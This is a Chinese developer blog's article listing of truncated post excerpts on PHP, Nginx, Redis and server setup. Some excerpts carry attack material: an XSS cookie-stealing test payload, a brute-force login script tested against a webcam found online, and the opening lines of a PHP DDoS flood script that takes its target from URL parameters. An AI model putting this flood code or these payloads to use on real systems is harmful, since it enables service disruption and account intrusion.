php
hello_simon
php工作狗
展开
-
LNMP环境的搭建配置(CentOS6.2+nginx1.1.15+mysql5.6+php5.3.10)
LNMP环境的搭建配置(CentOS6.2+nginx1.1.15+mysql5.6+php5.3.10)一、安装前的准备关闭防火墙 vi /etc/selinux/config #SELINUX=enforcing #注释掉 #SELINUXTYPE=targeted #注释掉 SELINUX=disabled #原创 2013-07-27 20:24:40 · 1029 阅读 · 0 评论 -
LNMP环境的搭建配置(CentOS6.2+nginx1.1.15+mysql5.6+php5.3.10+redis+memcached)
这次安装加入redis和memcached一、安装前的准备关闭防火墙 vi /etc/selinux/config #SELINUX=enforcing #注释掉 #SELINUXTYPE=targeted #注释掉 SELINUX=disabled #增加 :wq 保存,关闭 shutdown -r原创 2013-08-31 18:23:32 · 1225 阅读 · 0 评论 -
OPcache
最近升级测试环境的php到php5.5.20,用上OPcache,擦,有的页面的加载速度提升了10倍,其他页面最少也快了3倍原创 2014-12-31 11:15:36 · 395 阅读 · 0 评论 -
Nginx使用的php-fpm的两种进程管理方式及优化
php-fpm目前主要又两个分支,分别对应于php-5.2.x的版本和php-5.3.x的版本。在5.2.x的版本中,php-fpm.conf使用的是xml格式,而在新的5.3.x版本中,则是和php.ini一样的配置风格。在5.2.x版本中,php-fpm.conf中对于进程管理号称是有两种风格,一种是静态(static)的,一种是类似于apache风格(apache-like)的。转载 2015-03-23 17:05:09 · 597 阅读 · 0 评论 -
ueditor图片上传跨域问题
ueditor 置于A域,图片置于B域,B域需放flash跨域策略文件crossdomain.xml,如下 修改ueditor配置文件ueditor.config.js //图片上传配置区 ,imageUrl:"http://abupload.xxx.com/imageUp.php"原创 2015-04-21 09:25:20 · 3981 阅读 · 0 评论 -
今天项目中出现了一个xss漏洞
代码是这样的:xxxx.com/en/index?siteId=">alert(document.cookie)smarty get没做过滤的,有点坑原创 2015-05-27 10:51:32 · 467 阅读 · 0 评论 -
一个简单php版暴力破解程序
无聊写了个根据字典去破解用户名和密码的php程序,上菜花字典里面的一段在钟馗之眼里随便找了一个网络摄像头测试呵呵……网络慢,视频显示不出来原创 2015-05-28 15:26:55 · 1109 阅读 · 0 评论 -
把文件数据写入到图片像素中
做这个东西,是因为看到了乌云网友写的一篇文章 (http://drops.wooyun.org/tips/14568)。文章提供了一个数据传输的思路。在一台不能连网的虚拟机中运行软件,虚拟机只提供包含软件运行时的截图的分析报告。也就是说虚拟机的数据能通过图片显示出来,于是把虚拟机的文件写入到图片像素中,从而得到虚拟机的数据。 看到这文章时感到好惊艳,以前压根就没想过数据能原创 2016-04-16 16:38:33 · 2052 阅读 · 0 评论 -
ImageMagick漏洞演示
centos安装wgethttp://downloads.jmagick.org/6.4.0/ImageMagick-6.4.0-0.tar.gztar zvxf ImageMagick-6.4.0-0.tar.gzcd ImageMagick-6.4.0-0./configure --prefix=/usr/locate/ImageMagick-6.4.0 --with原创 2016-05-05 14:34:06 · 2518 阅读 · 1 评论 -
redis集群体验-安装与测试
版本Redis server v=3.2.3php扩展以下是全部内容修改配置port 9000 #端口pidfile /var/run/redis_9000.piddbfilename dump_9000.rdbdaemonize yes #守护进程cluster-enabled yes #启用集群cluster-config-file node原创 2016-09-06 10:08:03 · 514 阅读 · 0 评论 -
大数组比较取差集中的优化
平时编程比较常用到,从两个数组中获取差集。先上我们平时常用的代码<?phpfunction getmicrotime(){ list($usec, $sec) = explode(" ",microtime()); return ((float)$usec + (float)$sec);}$start = getmicrotime();$a = $b = $原创 2016-12-26 20:02:47 · 861 阅读 · 1 评论 -
支付宝支付
支付宝手机网站支付调通了。感觉有必要记录下接入支付宝手机网站支付遇到的坑,就一个,花了一天的时间去调试。支付宝给的demo代码很想吐槽一下,给个原始demo不行,非要给个加了框架的demo?别人用还要把支付模块从框架中拆出来,又花去大半天时间,程序员何必为难程序员。这个坑重点提一下:应用私钥、应用公钥、支付宝公钥。应用公钥、支付宝公钥是不同的,不同的!!!!!!!!!!!!!!原创 2017-09-08 16:19:48 · 397 阅读 · 0 评论 -
基于ZF中的.htaccess文件学习Apache的Rewrite语法
RewriteEngine On RewriteCond %{REQUEST_FILENAME} -s [OR] RewriteCond %{REQUEST_FILENAME} -l [OR] RewriteCond %{REQUEST_FILENAME} -d RewriteRule ^.*$ - [NC,L] RewriteRule ^.*$ index.php [NC,L]转载 2014-10-08 15:35:30 · 410 阅读 · 0 评论 -
sql注入公司的项目
这是在做公司的项目时发现的原创 2014-09-14 16:37:16 · 673 阅读 · 0 评论 -
http长连接与短连接
一、长连接与短连接:长连接:client方与server方先建立连接,连接建立后不断开,然后再进行报文发送和接收。这种方式下由于通讯连接一直存在。此种方式常用于P2P通信。短连接:Client方与server每进行一次报文收发交易时才进行通讯连接,交易完毕后立即断开连接。此方式常用于一点对多点通讯。C/S通信。二、长连接与短连接的操作过程:短连接的操作步骤是:建立连接—转载 2014-09-20 23:39:59 · 488 阅读 · 0 评论 -
socket研究
一,socket是什么什么是socket 所谓socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄。应用程序通常通过"套接字"向网络发出请求或者应答网络请求。说白 了就是一种通信机制。它类似于银行,电信啊这些部分的电话客服部门。你打电话的时候,那边会分配置一个人回答你的问题,客服部门就相当于socket的服 务器端了,你这边呢就相当于客户端了,在和你通话结束前,如果有人转载 2013-08-13 15:53:51 · 616 阅读 · 0 评论 -
PHP里的pack和unpack函数详解
PHP里的pack和unpack函数详解pack压缩资料到位字符串之中。语法: string pack(string format, mixed [args]...);返回值: 字符串函数种类: 资料处理内容说明本函数用来将资料压缩打包到位的字符串之中。本函数和 Perl 的同名函数功能用法完全相同。参数 format 为压缩的格式,见下表a 将字符转载 2013-08-16 11:18:25 · 3197 阅读 · 0 评论 -
PHP smarty配置
php/*一、什么是smarty?smarty是一个使用PHP写出来的模板PHP模板引擎,它提供了逻辑与外在内容的分离,简单的讲,目的就是要使用PHP程序员同美工分离,使用的程序员改变程序的逻辑内容不会影响到美工的页面设计,美工重新修改页面不会影响到程序的程序逻辑,这在多人合作的项目中显的尤为重要。二、smarty优点:1. 速度:采用smarty编写的程序可以获得最大速度的提高转载 2013-09-30 17:44:47 · 729 阅读 · 0 评论 -
Linux 让PHP支持MSSQL
FreeTDS官方网站:http://www.freetds.org 当前版本0.82wget http://mirrors.xmu.edu.cn/ubuntu/archive/pool/main/f/freetds/freetds_0.82.orig.tar.gz1. 编译FreeTDS# tar zxvf freetds-0.82.tar.gz# cd free原创 2013-11-01 13:40:44 · 746 阅读 · 0 评论 -
fopen、file_get_contents、curl区别
1. fopen /file_get_contents 每次请求都会重新做DNS查询,并不对 DNS信息进行缓存。但是CURL会自动对DNS信息进行缓存。对同一域名下的网页或者图片的请求只需要一次DNS查询。这大大减少了DNS查询的次数。 所以CURL的性能比fopen /file_get_contents 好很多。2. fopen /file_get_contents转载 2014-03-11 10:37:39 · 1313 阅读 · 0 评论 -
PHP SPL 介绍
简介SPLSPL是Standard PHP Library(PHP标准库)的缩写。根据官方定义,它是“a collection of interfaces and classes that are meant to solve standard problems”。但是,目前在使用中,SPL更多地被看作是一种使object(物体)模仿array(数组)行为的interfaces和cla转载 2014-03-10 14:51:30 · 623 阅读 · 0 评论 -
Php-SPL库中的迭代器类详解
SPL提供了多个迭代器类,分别提供了迭代访问、过滤数据、缓存结果、控制分页等功能。,因为php总是在不断壮大,我尽可能列出SPL中所有的迭代类。下面其中一些迭代器类是需要php5.4,另外一些如SearhIteratoer类在最新的php版本中已经去除1.ArrayIteratoer从PHP数组创建一个迭代器,当其和IteratorAggregate类一起使用时,免去了直接实现Iterat转载 2014-03-10 15:03:21 · 2202 阅读 · 0 评论 -
ddos攻击代码
<?php//设置脚本运行时间set_time_limit(999999);//攻击目标服务器ip$host = $_GET['host'];//攻击目标服务器端口$port = $_GET['port'];//攻击时长$exec_time = $_GET['time'];//每次发送字节数$Sendlen = 65535;$packets = 0;//设置客户机断开不终止转载 2014-03-10 16:43:36 · 8724 阅读 · 0 评论 -
strtr和str_replace效率探索
今天写代码用到字符串规制,就上网查了下strtr与str_replace的效率如何,网上一些地方说strtr比str_replace快四倍。半信半疑,自己就做了下测试。strtr比较怪异,用法这里不提。只做两种这两个函数可以替换用的测试例子。第一种list( $usec, $sec ) = explode(' ', microtime() );$star = $usec+$sec;原创 2014-03-28 11:25:23 · 763 阅读 · 0 评论 -
Linux下PHP Oracle客户端扩展(OCI8)安装
参考这两个大牛http://blog.s135.com/post/411/http://www.cnblogs.com/huangjingzhou/articles/2207898.html软件:oci8-1.4.9.tgz oracle-instantclient-basic-10.2.0.4-1.x86_64.rpmoracle-instantclient-原创 2013-09-05 16:35:25 · 1151 阅读 · 0 评论 -
CodeIgniter观摩
CodeIgniter还挺小巧简单的,把CodeIgniter.php里的内容弄懂原创 2014-04-11 17:36:03 · 435 阅读 · 0 评论 -
redis使用pfadd问题
66ba1eaf24d4e5ee5318ffe10391a12c464ea1870c6cc584ffeb8017d990ef0a31639ffe69559e05c80f2e030b9602f72099eceecf3aa3a5de45cc5429950f8586d3f79e944ae7fb4af300506b31e8dd9df1b00f37fbadcd38aac33b35437c784...原创 2019-09-23 12:00:37 · 12888 阅读 · 0 评论